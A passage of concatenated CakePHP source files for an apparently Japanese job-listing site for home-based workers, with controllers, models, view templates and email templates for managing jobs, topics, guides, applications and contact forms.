?><file_sep>/app/Model/Topic.php
<?php
class Topic extends AppModel {
public $validate = array(
'title' => array(
'required' => array(
'rule' => array('notEmpty'),
'message' => 'タイトルは必須です'
)
),
'orders' => array(
'required' => array(
'rule' => array('numeric'),
'message' => '並び順は数値です。'
)
),
'status' => array(
'required' => array(
'rule' => array('notEmpty'),
'message' => '状態は必須です。'
)
)
);
}
?>
<file_sep>/app/View/Emails/text/entry.ctp
集計担当者様
以下の内容で業務のエントリーがありました。
氏名: <?php echo $name; ?>
業務名称: <?php echo $business_name; ?>
希望する業務区分:
<?php echo $entry_business_lines; ?>
要望・質問:
<?php echo $entry_comments; ?>
<file_sep>/README.md
# jcicloud powered by CakePHP<file_sep>/app/Controller/TopicsController.php
<?php
class TopicsController extends AppController {
//自作ヘルパーの指定
public $helpers = array('DateUtility', 'MyHtml');
public function beforeFilter() {
parent::beforeFilter();
}
public function isAuthorized($user) {
return parent::isAuthorized($user);
}
public function index() {
$this->set('title_for_layout', 'トピックス管理|');
$this->paginate = array(
'Topic' => array(
'limit' => 20
)
);
$this->set('topics', $this->paginate());
}
public function view($id = NULL) {
$this->set('title_for_layout', '詳細|トピックス管理|');
if(!$id) {
throw new NotFoundExeption('Valid Access');
}
$topic = $this->Topic->findById($id);
$this->set('topic', $topic);
}
public function add() {
$this->set('title_for_layout', '新規|トピックス管理|');
$status_list = array(
'disabled' => '非公開',
'enabled' => '公開'
);
$this->set('status_list', $status_list);
if($this->request->is('post')) {
$this->Topic->create();
if($this->Topic->save($this->request->data)) {
$this->Session->setFlash('トピックスは登録されました。');
$this->redirect(array('action' => 'index'));
}
else
{
$this->Session->setFlash('トピックスは登録されませんでした。');
}
}
}
public function edit($id = NULL) {
$this->set('title_for_layout', '編集|トピックス管理|');
$status_list = array(
'disabled' => '非公開',
'enabled' => '公開'
);
$this->set('status_list', $status_list);
if(!$id) {
throw new NotFoundException('Valid Access');
}
$topic = $this->Topic->findById($id);
if(!$topic) {
throw new NotFoundException('Valid Access');
}
if($this->request->is('post') || $this->request->is('put')) {
$this->Topic->id = $id;
if($this->Topic->save($this->request->data)) {
$this->Session->setFlash('トピックスを更新しました。');
$this->redirect(array('action' => 'index'));
}
$this->Session->setFlash('トピックスを更新されませんでした。');
}
if(!$this->request->data) {
$this->request->data = $topic;
}
}
public function delete($id = NULL) {
$this->set('title_for_layout', '削除|トピックス管理|');
$this->request->onlyAllow('post');
$this->Topic->id = $id;
if($this->Topic->delete()) {
$this->Session->setFlash('トピックスは削除されました。');
$this->redirect(array('action' => 'index'));
}
$this->Session->setFlash('トピックスは削除されませんでした。');
$this->redirect(array('action' => 'index'));
}
}
?>
<file_sep>/app/View/Businesses/index.ctp
<div id="simplelist">
<h2>業務情報管理</h2>
<p><?php echo $this->Html->link('新規追加', array('action' => 'add'), array('class' => 'textsubmit')); ?></p>
<?php echo $this->element('paginator'); ?>
<table>
<tr>
<th class="w40">Id</th>
<th>登録日</th>
<th class="w40">種別</th>
<th class="w300">業務名称</th>
<th>受注日</th>
<th>募集締切日</th>
<th class="w40">公開状態</th>
<th>登録者</th>
<th class="w40">処理</th>
</tr>
<?php foreach($businesses as $business): ?>
<tr>
<td><?php echo $business['Business']['id']; ?></td>
<td class="nowrap"><?php echo $this->DateUtility->datetime2ymd($business['Business']['created']); ?></td>
<td><?php echo $this->MyHtml->getCategoryIcon($business['Business']['category_id']); ?></td>
<td>
<?php echo $this->Html->link(
$business['Business']['business_name'],
array('action' => 'view', $business['Business']['id'])); ?>
</td>
<td class="nowrap"><?php echo $business['Business']['order_date']; ?></td>
<td class="nowrap"><?php echo $business['Business']['wanted_deadline']; ?></td>
<td><?php echo $display_flag_list[$business['Business']['display_flag']]; ?></td>
<td class="nowrap"><?php echo $user_list[$business['Business']['user_id']]; ?></td>
<td>
<?php echo $this->Html->link(
'編集',
array('action' => 'edit', $business['Business']['id'])); ?>
<?php echo $this->Form->postLink(
'削除',
array('action' => 'delete', $business['Business']['id']),
array('confirm' => '本当に削除してもよいですか?')
); ?>
</td>
</tr>
<?php endforeach; ?>
</table>
<div id="backlink">
<?php echo $this->Html->link('メニューに戻る', array('controller' => 'menus', 'action' => 'index')); ?>
</div>
</div><file_sep>/app/View/Topics/view.ctp
<div id="simpleform">
<h2>トピックス-詳細</h2>
<table>
<tr>
<th>Id</th>
<td><?php echo $topic['Topic']['id']; ?></td>
</tr>
<tr>
<th>タイトル</th>
<td><?php echo $topic['Topic']['title']; ?></td>
</tr>
<tr>
<th>本文</th>
<td><?php echo $topic['Topic']['summary']; ?></td>
</tr>
<tr>
<th>本文</th>
<td><?php echo $topic['Topic']['body']; ?></td>
</tr>
<tr>
<th>表示順</th>
<td><?php echo $topic['Topic']['orders']; ?></td>
</tr>
<tr>
<th>作成日</th>
<td><?php echo $topic['Topic']['created']; ?></td>
</tr>
<tr>
<th>更新日</th>
<td><?php echo $topic['Topic']['modified']; ?></td>
</tr>
</table>
<div id="backlink">
<?php echo $this->Html->link('戻る', array('action' => 'index')); ?>
</div>
</div>
<file_sep>/app/View/Guides/index.ctp
<div id="simplelist">
<h2>ガイド管理</h2>
<p><?php echo $this->Html->link('新規追加', array('action' => 'add'), array('class' => 'textsubmit')); ?></p>
<?php echo $this->element('paginator'); ?>
<table>
<tr>
<th class="w50">表示順</th>
<th>カテゴリ</th>
<th>タイトル</th>
<th class="w200">作成日</th>
<th>処理</th>
</tr>
<?php foreach($guides as $guide): ?>
<tr>
<td><?php echo $guide['Guide']['orders']; ?></td>
<td><?php echo $guide['Guide']['category']; ?></td>
<td><?php echo $this->Html->link($guide['Guide']['title'],
array('action' => 'view', $guide['Guide']['id'])); ?>
</td>
<td><?php echo $guide['Guide']['created']; ?></td>
<td>
<?php echo $this->Html->link('編集', array('action' => 'edit', $guide['Guide']['id'])); ?>
<?php echo $this->Form->postLink('削除',
array('action' => 'delete', $guide['Guide']['id']),
array('confirm' => '本当に削除してもよいですか?')
); ?>
</td>
</tr>
<?php endforeach; ?>
</table>
<div id="backlink">
<?php echo $this->Html->link('メニューに戻る', array('controller' => 'menus', 'action' => 'index')); ?>
</div>
</div>
<file_sep>/app/View/Guides/edit.ctp
<div id="simpleform">
<h2>ガイド編集</h2>
<?php echo $this->Form->create('Guide'); ?>
<table>
<tr>
<th><?php echo $this->Form->label('category', 'カテゴリ'); ?></th>
<td><?php echo $this->Form->select('category', $category_list, array('label' => FALSE)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('title', 'タイトル'); ?></th>
<td><?php echo $this->Form->input('title', array('label' => FALSE)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('body', '本文'); ?></th>
<td><?php echo $this->Form->input('body', array(
'label' => FALSE,
'style' => 'width:600px;height:30em;'
)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('orders', '並び順'); ?></th>
<td><?php echo $this->Form->input('orders', array('label' => FALSE)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('status', '状態'); ?></th>
<td><?php echo $this->Form->select('status', $status_list, array('label' => FALSE)); ?></td>
</tr>
</table>
<div id="formsubmit">
<?php echo $this->Form->submit('送信'); ?>
</div>
<?php echo $this->Form->end(); ?>
<div id="backlink">
<?php echo $this->Html->link('戻る', array('action' => 'index')); ?>
</div>
</div>
<script type="text/javascript">
tinyMCE.init({
mode : "textareas",
theme : "modern",
language : "ja",
plugins : "code textcolor image link",
toolbar: "undo redo | styleselect | bold italic | alignleft aligncenter alignright | bullist numlist outdent indent | forecolor backcolor | link image",
style_formats: [
{title: '見出し【h3】', block: 'h3'},
{title: '見出し【h4】', block: 'h4'},
{title: '見出し【h5】', block: 'h5'},
{title: '見出し【h6】', block: 'h6'}
],
content_css : "/cloud/css/jci.cloud.css",
file_browser_callback: function(field, url, type, win) {
tinyMCE.activeEditor.windowManager.open({
file: '/cloud/js/kcfinder/browse.php?opener=tinymce4&field=' + field + '&type=' + type,
title: 'KCFinder',
width: 700,
height: 500,
inline: true,
close_previous: false
}, {
window: win,
input: field
});
return false;
}
});
</script>
<file_sep>/app/View/Pages/topic.ctp
<div id="topics">
<h2>トピックス</h2>
<h3><?php echo $topic['Topic']['title']; ?></h3>
<div>
<?php echo $topic['Topic']['body']; ?>
</div>
<div id="backlink">
<p><?php echo $this->Html->link('戻る', array('action' => 'topicslist')); ?></p>
</div>
</div>
<file_sep>/app/View/Menus/index.ctp
<div id="adminmenu">
<h2>管理者機能</h2>
<ul class="menus">
<li class="c1">
<dl>
<dt><?php echo $this->Html->image('/images/admicon-1.gif'); ?></dt>
<dd><?php echo $this->Html->link('ユーザ管理', array('controller' => 'users', 'action' => 'index')); ?></dd>
</dl>
</li>
<li class="c2">
ユーザの【新規追加】【IDやPWの変更】【名前の変更】【権限の変更】【削除】が行えます。
</li>
</ul>
<ul class="menus">
<li class="c1">
<dl>
<dt><?php echo $this->Html->image('/images/admicon-2.gif'); ?></dt>
<dd><?php echo $this->Html->link('業務情報管理', array('controller' => 'businesses', 'action' => 'index')); ?></dd>
</dl>
</li>
<li class="c2">
受注業務の情報の【新規追加】【変更】【削除】が行えます。
</li>
</ul>
<ul class="menus">
<li class="c1">
<dl>
<dt><?php echo $this->Html->image('/images/admicon-3.gif'); ?></dt>
<dd><?php echo $this->Html->link('カテゴリ管理', array('controller' => 'categories', 'action' => 'index')); ?></dd>
</dl>
</li>
<li class="c2">
業務情報の【カテゴリ】の管理が行えます。
</li>
</ul>
<ul class="menus">
<li class="c1">
<dl>
<dt><?php echo $this->Html->image('/images/admicon-4.gif'); ?></dt>
<dd><?php echo $this->Html->link('ガイド管理', array('controller' => 'guides', 'action' => 'index')); ?></dd>
</dl>
</li>
<li class="c2">
このサイトの操作ガイド(操作マニュアル)の管理が行えます。
</li>
</ul>
<ul class="menus">
<li class="c1">
<dl>
<dt><?php echo $this->Html->image('/images/admicon-5.gif'); ?></dt>
<dd><?php echo $this->Html->link('トピックス管理', array('controller' => 'topics', 'action' => 'index')); ?></dd>
</dl>
</li>
<li class="c2">
このサイトのトピックスの管理が行えます。
</li>
</ul>
<ul class="admin-manual">
<li class="c1">
<dl>
<dt><?php echo $this->Html->image('/images/manicon.gif'); ?></dt>
<dd><?php echo $this->Html->link('操作マニュアル', array('action' => 'manual')); ?></dd>
</li>
<li class="c2">
管理者機能の操作マニュアルが閲覧できます。
</li>
</ul>
</div>
<file_sep>/app/View/Businesses/view.ctp
<div id="simpleform">
<h2>業務情報-詳細</h2>
<table>
<tr>
<th>Id</th>
<td><?php echo $business['Business']['id']; ?></td>
</tr>
<tr>
<th>業務番号</th>
<td><?php echo $business['Business']['business_code']; ?></td>
</tr>
<tr>
<th>業務名</th>
<td><?php echo $business['Business']['business_name']; ?></td>
</tr>
<tr>
<th>カテゴリ</th>
<td><?php echo $category_list[$business['Business']['category_id']]; ?></td>
</tr>
<tr>
<th>お客様名</th>
<td><?php echo $business['Business']['customer']; ?></td>
</tr>
<tr>
<th>業務の詳細</th>
<td><?php echo $business['Business']['detail']; ?></td>
</tr>
<tr>
<th>受注日</th>
<td><?php echo $business['Business']['order_date']; ?></td>
</tr>
<tr>
<th>納入期日</th>
<td><?php echo $business['Business']['deadline']; ?></td>
</tr>
<tr>
<th>募集期日</th>
<td><?php echo $business['Business']['wanted_deadline']; ?></td>
</tr>
<tr>
<th>募集人数</th>
<td><?php echo $business['Business']['wanted_persons']; ?></td>
</tr>
<tr>
<th>応募要件</th>
<td><?php echo $business['Business']['wanted_requirements']; ?></td>
</tr>
<tr>
<th>状態</th>
<td><?php echo $status_list[$business['Business']['status']]; ?></td>
</tr>
<tr>
<th>公開状態</th>
<td><?php echo $display_flag_list[$business['Business']['display_flag']]; ?></td>
</tr>
<tr>
<th>登録日</th>
<td><?php echo $business['Business']['created']; ?></td>
</tr>
<tr>
<th>更新日</th>
<td><?php echo $business['Business']['modified']; ?></td>
</tr>
<tr>
<th nowrap>登録ユーザー</th>
<td><?php echo $user_list[$business['Business']['user_id']]; ?></td>
</tr>
</table>
<div id="backlink">
<p><?php echo $this->Html->link('戻る', array('action' => 'index')); ?></p>
</div>
</div>
<script type="text/javascript">
tinyMCE.init(
{ theme : "advanced", mode : "textareas"}
);
</script><file_sep>/app/View/Pages/contact.ctp
<div id="contact">
<h2>お問い合わせ</h2>
<p>お問い合わせは、下記のメールフォームよりお寄せください。</p>
<?php echo $this->Form->create('Contact'); ?>
<table>
<tr>
<th><?php echo $this->Form->label('category', 'お問い合わせの種類'); ?></th>
<td><?php echo $this->Form->select('category', $category_list); ?>
</td>
</tr>
<tr>
<th><?php echo $this->Form->label('name', 'お名前'); ?></th>
<td><?php echo $this->Form->input('name', array('label' => FALSE)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('mail','メールアドレス'); ?></th>
<td><?php echo $this->Form->input('mail', array('label' => FALSE)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('tel', '電話番号'); ?></th>
<td><?php echo $this->Form->input('tel', array('label' => FALSE)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('maintext', 'お問い合わせ内容'); ?></th>
<td><?php echo $this->Form->input('maintext', array(
'label' => FALSE,
'rows' => 10,
'cols' => 50
)); ?></td>
</tr>
</table>
<div id="formsubmit">
<?php echo $this->Form->submit('送信'); ?>
</div>
<?php echo $this->Form->end(); ?>
<div id="backlink">
<?php echo $this->Html->link('戻る', array('action' => 'index')); ?>
</div>
</div><file_sep>/app/View/Topics/index.ctp
<div id="simplelist">
<h2>トピックス管理</h2>
<p><?php echo $this->Html->link('新規追加', array('action' => 'add'), array('class' => 'textsubmit')); ?></p>
<?php echo $this->element('paginator'); ?>
<table>
<tr>
<th class="w50">表示順</th>
<th>タイトル</th>
<th class="w200">作成日</th>
<th>処理</th>
</tr>
<?php foreach($topics as $topic): ?>
<tr>
<td><?php echo $topic['Topic']['orders']; ?></td>
<td>
<?php echo $this->Html->link($topic['Topic']['title'], array('action' => 'view', $topic['Topic']['id'])); ?>
</td>
<td><?php echo $this->DateUtility->datetime2ymd($topic['Topic']['created']); ?></td>
<td>
<?php echo $this->Html->link('編集', array('action' => 'edit', $topic['Topic']['id'])); ?>
<?php echo $this->Form->postLink('削除',
array('action' => 'delete', $topic['Topic']['id']),
array('confirm' => '本当に削除してもよいですか?')
); ?>
</td>
</tr>
<?php endforeach; ?>
</table>
<div id="backlink">
<?php echo $this->Html->link('メニューに戻る', array('controller' => 'menus', 'action' => 'index')); ?>
</div>
</div>
<file_sep>/app/View/Pages/question.ctp
<div id="simpleform">
<div id="backlink">
<?php echo $this->Html->link('戻る', array('action' => 'index')); ?>
</div>
</div><file_sep>/app/View/Elements/businessinfo.ctp
<?php if(count($datas) < 1): ?>
<p>該当する業務は存在しません。</p>
<?php else: ?>
<?php foreach($datas as $data): ?>
<ul class="businessinfo">
<li class="c1">
<dl>
<dt>
<?php echo $this->MyHtml->getCategoryImageTag($data['Business']['category_id']); ?>
</dt>
<dd>
<span class="category-pie"><?php echo $category_list[$data['Business']['category_id']]; ?></span>
<br />
<?php echo $this->Html->link($data['Business']['business_name'], array(
'action' => 'display', $data['Business']['id'])); ?></dd>
</dl>
</li>
<li class="c2">
<dl>
<dt>受注日</dt>
<dd><?php echo $this->DateUtility->date2ymd($data['Business']['order_date']); ?></dd>
</dl>
</li>
<?php $status_val = $data['Business']['status']; ?>
<?php if($status_val === "active"): ?>
<li class="c3">
<dl>
<dt>募集人数</dt>
<dd>
<span class="large"><?php echo $data['Business']['wanted_persons']; ?></span>名
</dd>
</dl>
</li>
<li class="c4">
<dl>
<dt>応募件数</dt>
<dd>
<span class="large"><?php echo $entry_arr[$data['Business']['id']]; ?></span>名
</dd>
</dl>
</li>
<li class="c5">
<dl>
<dt>募集期限</dt>
<dd><?php echo $this->DateUtility->date2ymd($data['Business']['wanted_deadline']); ?></dd>
<dd>
<?php $deadline_num = $this->DateUtility->remaining($data['Business']['wanted_deadline']); ?>
<?php if($deadline_num >= 0): ?>
あと<span class="large"><?php echo $deadline_num; ?></span>日
<?php else: ?>
募集は締切りました
<?php endif; ?>
</dd>
</dl>
</li>
<?php else: ?>
<li class="c3w"><strong>この業務は作業者を募集していません。</strong></li>
<?php endif; ?>
</ul>
<?php endforeach; ?>
<?php endif; ?>
<file_sep>/app/View/Pages/guide.ctp
<div id="guide">
<h2>使い方ガイド</h2>
<div id="guide-index">
<h3>目次</h3>
<ul>
<?php foreach($titles as $title): ?>
<li><?php echo $this->Html->link($title['Guide']['title'], '#guide-'.$title['Guide']['id']); ?></li>
<?php endforeach; ?>
</ul>
</div>
<?php foreach($guides as $guide): ?>
<article class="guide-article">
<h3 id="guide-<?php echo $guide['Guide']['id']; ?>"><?php echo $guide['Guide']['title']; ?></h3>
<?php echo $guide['Guide']['body']; ?>
</article>
<?php endforeach; ?>
<div id="backlink">
<p><?php echo $this->Html->link('戻る', array('action' => 'index')); ?></p>
</div>
</div>
<file_sep>/app/Controller/PagesController.php
<?php
App::uses('CakeEmail', 'Network/Email');
class PagesController extends AppController {
//モデルの指定
public $uses = array('Business', 'Category', 'User', 'Entry', 'Contact', 'Guide', 'Question', 'Topic');
//自作ヘルパーの指定
public $helpers = array('DateUtility', 'MyHtml');
//状態リスト
public $status_list = array(
'active' => '募集する',
'unactive' => '募集しない'
);
public function isAuthorized($user) {
if(in_array($this->action, array('index'))) {
return TRUE;
}
if($user['role'] === "reader" || $user['role'] === "guest") {
return TRUE;
}
return parent::isAuthorized($user);
}
//カテゴリリストを取得
public function getCategoryList() {
return $this->Category->find('list', array(
'fields' => 'Category.catname'
));
}
//現在のエントリー数リストを取得
public function getEntryNumArr() {
$business_list = $this->Business->find('list');
return $this->Entry->getEntryNumByBusinesses($business_list);
}
public function index() {
$this->set('title_for_layout', '');
$datas = $this->Business->find('all', array(
'conditions' => array('Business.display_flag !=' => 'disabled'),
'order' => array('Business.id DESC'),
'limit' => 5
));
$this->set('datas', $datas);
$this->set('category_list', $this->getCategoryList());
$this->set('entry_arr', $this->getEntryNumArr());
$datas2 = $this->Topic->find('all', array(
'conditions' => array('Topic.status !=' => 'disabled'),
'order' => array('Topic.id DESC'),
'limit' => 5
));
$this->set('datas2', $datas2);
}
public function display($id = NULL) {
$this->set('title_for_layout', '業務詳細|');
if(!$id) {
throw new NotFoundException('Valid Access');
}
$business = $this->Business->findById($id);
$this->set('business', $business);
$this->set('category_list', $this->getCategoryList());
$this->set('entry_arr', $this->getEntryNumArr());
}
public function search() {
$this->set('title_for_layout', '仕事を探す|');
$this->paginate = array(
'Business' => array(
'conditions' => array('display_flag !=' => 'disabled'),
'limit' => 10,
'order' => array('id' => 'desc')
)
);
$this->set('datas', $this->paginate());
$this->set('category_list', $this->getCategoryList());
$this->set('entry_arr', $this->getEntryNumArr());
}
public function result() {
$this->set('title_for_layout', '検索結果|');
if($this->request->is('post')) {
$query = $this->request->data['Search']['query'];
$this->paginate = array(
'Business' => array(
'conditions' => array(
'business_name like' => '%'.$query.'%',
'display_flag !=' => 'disabled'
),
'limit' => 10,
'order' => array('id' => 'desc')
)
);
$this->set('datas', $this->paginate());
$this->set('category_list', $this->getCategoryList());
$this->set('entry_arr', $this->getEntryNumArr());
}
}
public function resultcategory($id = NULL) {
$this->set('title_for_layout', 'カテゴリ検索結果|仕事を探す|');
if(!$id) {
throw new NotFoundException('Valid Access');
}
$this->paginate = array(
'Business' => array(
'conditions' => array(
'category_id' => $id,
'display_flag !=' => 'disabled'
),
'limit' => 10,
'order' => array('id' => 'desc')
)
);
$this->set('datas', $this->paginate());
$this->set('category_list', $this->getCategoryList());
$this->set('entry_arr', $this->getEntryNumArr());
}
public function guide() {
$this->set('title_for_layout', '使い方ガイド|');
$titles = $this->Guide->get_titles();
$this->set('titles', $titles);
$guides = $this->Guide->find('all', array(
'conditions' => array(
'Guide.category' => 'readers',
'Guide.status !=' => 'disabled'
)
));
$this->set('guides', $guides);
}
public function topicslist() {
$this->set('title_for_layout', 'トピックス|');
$this->paginate = array(
'limit' => 20,
'order' => array('id' => 'desc')
);
$datas = $this->paginate('Topic', array(
'status !=' => 'disabled')
);
$this->set('datas', $datas);
}
public function topic($id = NULL) {
$this->set('title_for_layout', 'トピックス|');
if(!$id) {
throw NotFoundException('Valid Access');
}
$topic = $this->Topic->findById($id);
$this->set('topic', $topic);
}
public function contact() {
$this->set('title_for_layout', 'お問い合わせ|');
$category_list = array(
'q1' => 'このサイトの使い方について',
'q2' => '業務について',
'q3' => '不具合について',
'q4' => '感想・要望',
'q5' => 'その他'
);
$this->set('category_list', $category_list);
if($this->request->is('post')) {
$this->Contact->set($this->request->data);
if($this->Contact->validates()) {
$email = new CakeEmail('contact');
$email->subject('【お問い合わせ】JCI在宅就業支援センター');
$email->emailFormat('text');
$email->template('contact');
$embed_arr = array(
'category' => $category_list[$this->request->data['Contact']['category']],
'name' => $this->request->data['Contact']['name'],
'mail' => $this->request->data['Contact']['mail'],
'tel' => $this->request->data['Contact']['tel'],
'maintext' => $this->request->data['Contact']['maintext']
);
$email->viewVars($embed_arr);
if($email->send()) {
$this->Session->setFlash('お問い合わせメールが送信されました。');
$this->redirect(array('action' => 'index'));
}
else
{
$this->Session->setFlash('お問い合わせメールが送信できませんでした。');
}
}
else
{
$this->Session->setFlash('入力内容に間違いがあります。');
}
}
else {
$this->request->data = $this->data;
}
}
public function entry() {
$this->set('title_for_layout', '業務への応募|');
if($this->request->is('post')) {
$business_id = $this->request->data['Entry']['id'];
$business_data = $this->Business->findById($business_id);
$user_id = $this->Auth->user('id');
$user_data = $this->User->findById($user_id);
$entry_business_lines = $this->request->data['Entry']['entry_business_lines'];
$entry_comments = $this->request->data['Entry']['entry_comments'];
$name = $user_data['User']['userfullname'];
$business_name = $business_data['Business']['business_name'];
$check = $this->Entry->find('all', array(
'conditions' => array(
'Entry.user_id' => $user_id,
'Entry.business_id' => $business_id
)
));
if(count($check) < 1) {
$insert = array();
$insert['user_id'] = $user_id;
$insert['business_id'] = $business_id;
$insert['entry_business_lines'] = $entry_business_lines;
$insert['entry_comments'] = $entry_comments;
$insert['status'] = 'enable';
if($this->Entry->save($insert)) {
$email = new CakeEmail('entry');
$email->subject('【業務エントリー】'.$business_name);
$email->emailFormat('text');
$email->template('entry');
$embed_arr = array(
'name' => $name,
'business_name' => $business_name,
'entry_business_lines' => $entry_business_lines,
'entry_comments' => $entry_comments
);
$email->viewVars($embed_arr);
if($email->send()) {
$this->Session->setFlash('この業務への応募が完了しました。');
}
else {
$this->Session->setFlash('この業務への応募が完了しませんでした。');
}
}
else {
$this->Session->setFlash('この業務への応募が完了しませんでした。');
}
}
else {
$this->Session->setFlash('この業務には既に応募しています。');
}
}
}
public function question() {
$this->set('title_for_layout', '業務への質問|');
if($this->request->is('post')) {
$this->Question->set($this->request->data);
if($this->Question->validates()) {
$business_id = $this->request->data['Question']['business_id'];
$business_data = $this->Business->findById($business_id);
$user_id = $this->Auth->user('id');
$user_data = $this->User->findById($user_id);
$name = $user_data['User']['userfullname'];
$business_name = $business_data['Business']['business_name'];
$mail = $this->request->data['Question']['mail'];
$comments = $this->request->data['Question']['comments'];
$email = new CakeEmail('question');
$email->subject('【非募集業務への質問】'.$business_name);
$email->emailFormat('text');
$email->template('question');
$embed_arr = array(
'name' => $name,
'business_name' => $business_name,
'mail' => $mail,
'comments' => $comments
);
$email->viewVars($embed_arr);
if($email->send()) {
$this->Session->setFlash('この業務への質問を送付しました。');
}
else {
$this->Session->setFlash('この業務への質問が送付されませんでした。');
}
}
else
{
$err_str = "以下のエラーがあるため,この業務への質問が送付されませんでした。<br />";
foreach($this->validateErrors($this->Question) as $key => $val) {
$err_str .= $val[0] . "<br />";
}
$this->Session->setFlash($err_str);
}
}
}
}
<file_sep>/app/View/Helper/DateUtilityHelper.php
<?php
App::uses('AppHelper', 'View/Helper');
class DateUtilityHelper extends AppHelper {
//締切日数を返す
public function remaining($deadline) {
$today = date('Y-m-d H:i:s');
$num = ceil((strtotime($deadline) - strtotime($today)) / (60 * 60 * 24));
//負の0を表示しない
if($num == 0) $num = abs($num);
return $num;
}
public function datetime2ymd($day) {
$tmp = explode(' ', $day);
return $tmp[0];
}
public function date2ymd($day) {
$tmp = explode('-', $day);
return $tmp[0]."/".$tmp[1]."/".$tmp[2];
}
}
?><file_sep>/app/View/Elements/sidebar-unactive.ctp
<dl id="subinformation">
<dt>状態</dt>
<dd class="left">この業務は,内容が在宅作業者への発注に馴染まないと判断し,作業者を募集していません。</dd>
<dd class="left">詳細を知りたい場合は,下記の問い合わせフォームより,ご質問ください。</dd>
</dd>
</dl>
<?php echo $this->Form->create('Question', array('url' => array('controller' => 'pages', 'action' => 'question'))); ?>
<?php echo $this->Form->hidden('business_id', array('value' => $business['Business']['id'])); ?>
<dl id="questioninformation">
<dt><?php echo $this->Form->label('mail', 'メールアドレス'); ?></dt>
<dd><?php echo $this->Form->input('mail', array('label' => FALSE,
'style' => 'width:178px;' )); ?></dd>
<dt><?php echo $this->Form->label('comments', 'コメント'); ?></dt>
<dd><?php echo $this->Form->input('comments', array('label' => FALSE,
'style' => 'width:180px;height:16em' )); ?></dd>
</dl>
<div class="question-submit">
<?php echo $this->Form->submit('問い合わせする', array('div' => FALSE)); ?></div>
<?php echo $this->Form->end(); ?>
<file_sep>/app/View/Pages/search.ctp
<div id="search">
<h2>仕事を探す</h2>
<h3>キーワードで探す</h3>
<div id="searchform">
<?php echo $this->Form->create('Search', array('url' => array(
'controller' => 'Pages', 'action' => 'result')
)); ?>
<?php echo $this->Form->input('query', array(
'div' => FALSE,
'label' => FALSE,
'class' => 'text'
)); ?>
<?php echo $this->Form->submit('検索', array(
'div' => FALSE,
'class' => 'submit'
)); ?>
<?php echo $this->Form->end(); ?>
</div>
<h3>カテゴリで探す</h3>
<div id="categoryform">
<ul>
<?php foreach($category_list as $key => $val): ?>
<li class="icon-<?php echo $key; ?>">
<?php echo $this->Html->link($val, array('action' => 'resultcategory', $key)); ?>
</li>
<?php endforeach; ?>
</ul>
</div>
<h3>一覧から探す</h3>
<?php echo $this->element('paginator'); ?>
<?php echo $this->element('businessinfo'); ?>
<div id="backlink">
<?php echo $this->Html->link('戻る', array('action' => 'index')); ?>
</div>
</div>
<file_sep>/app/View/Pages/index.ctp
<!-- newsrelease start -->
<section id="newsrelease">
<h2>新着業務</h2>
<?php echo $this->element('businessinfo'); ?>
</section>
<!-- newsrelease end -->
<section id="topicsrelease">
<h2>トピックス</h2>
<?php echo $this->element('topicsinfo2'); ?>
</section>
<file_sep>/app/View/Pages/topicslist.ctp
<div id="topics">
<h2>トピックス</h2>
<?php echo $this->element('paginator'); ?>
<?php echo $this->element('topicsinfo'); ?>
<div id="backlink">
<p><?php echo $this->Html->link('戻る', array('action' => 'index')); ?></p>
</div>
</div>
<file_sep>/app/Model/Category.php
<?php
class Category extends AppModel {
public $validate = array(
'catname' => array(
'required' => array(
'rule' => 'notEmpty',
'message' => 'カテゴリ名は必須です'
)
)
);
}
?>
<file_sep>/app/Model/Guide.php
<?php
class Guide extends AppModel {
public $validate = array(
'category' => array(
'required' => array(
'rule' => array('notEmpty'),
'message' => 'カテゴリは必須です。'
)
),
'title' => array(
'required' => array(
'rule' => array('notEmpty'),
'message' => 'タイトルは必須です。'
)
),
'orders' => array(
'required' => array(
'rule' => array('numeric'),
'message' => '並び順は数値です。'
)
),
'status' => array(
'required' => array(
'rule' => array('notEmpty'),
'message' => '状態は必須です。'
)
)
);
public function get_titles() {
return $this->find('all', array(
'conditions' => array(
'category' => 'readers',
'Guide.status !=' => 'disabled'
),
'fields' => array('id', 'title')
));
}
public function get_admins_titles() {
return $this->find('all', array(
'conditions' => array(
'category' => 'admins',
'status !=' => 'disabled'
),
'fields' => array('id', 'title')
));
}
}
?>
<file_sep>/app/View/Users/edit.ctp
<div id="simpleform">
<h2>ユーザ更新</h2>
<?php echo $this->Form->create('User'); ?>
<table>
<tr>
<th><?php echo $this->Form->label('username', 'ユーザID'); ?></th>
<td><?php echo $this->Form->input('username', array('label' => FALSE)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('password', 'パスワード'); ?></th>
<td><?php echo $this->Form->input('password', array('label' => FALSE)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('userfullname', '氏名'); ?></th>
<td><?php echo $this->Form->input('userfullname', array('label' => FALSE)); ?></td>
</tr>
<tr>
<th><?php echo $this->Form->label('role', '権限'); ?></th>
<td><?php echo $this->Form->input('role', array(
'label' => FALSE,
'options' => array('reader' => '一般利用者', 'admin' => '管理者', 'guest' => 'ゲスト')));; ?></td>
</tr>
</table>
<div id="formsubmit">
<?php echo $this->Form->end('送信'); ?>
</div>
<div id="backlink">
<?php echo $this->Html->link('戻る', array('action' => 'index')); ?>
</div>
</div>
<file_sep>/app/View/Categories/add.ctp
<div id="simpleform">
<h2>カテゴリ追加</h2>
<?php echo $this->Form->create('Category'); ?>
<table>
<tr>
<th><?php echo $this->Form->label('catname','カテゴリ名'); ?></th>
<td><?php echo $this->Form->input('catname', array('label' => FALSE)); ?></td>
</tr>
</table>
<div id="formsubmit">
<?php echo $this->Form->end('送信'); ?>
</div>
<div id="backlink">
<p><?php echo $this->Html->link('戻る', array('action' => 'index')); ?></p>
</div>
</div><file_sep>/app/View/Emails/text/contact.ctp
担当者様
以下の内容で問い合わせがありました。
お問い合わせ種別 <?php echo $category; ?>
氏名: <?php echo $name; ?>
メールアドレス <?php echo $mail; ?>
電話番号 <?php echo $tel; ?>
お問い合わせの内容:
<?php echo $maintext; ?>
<file_sep>/app/Controller/MenusController.php
<?php
class MenusController extends AppController {
public $uses = array('Guide');
public function beforeFilter() {
parent::beforeFilter();
}
public function isAuthorized($user) {
return parent::isAuthorized($user);
}
public function index() {
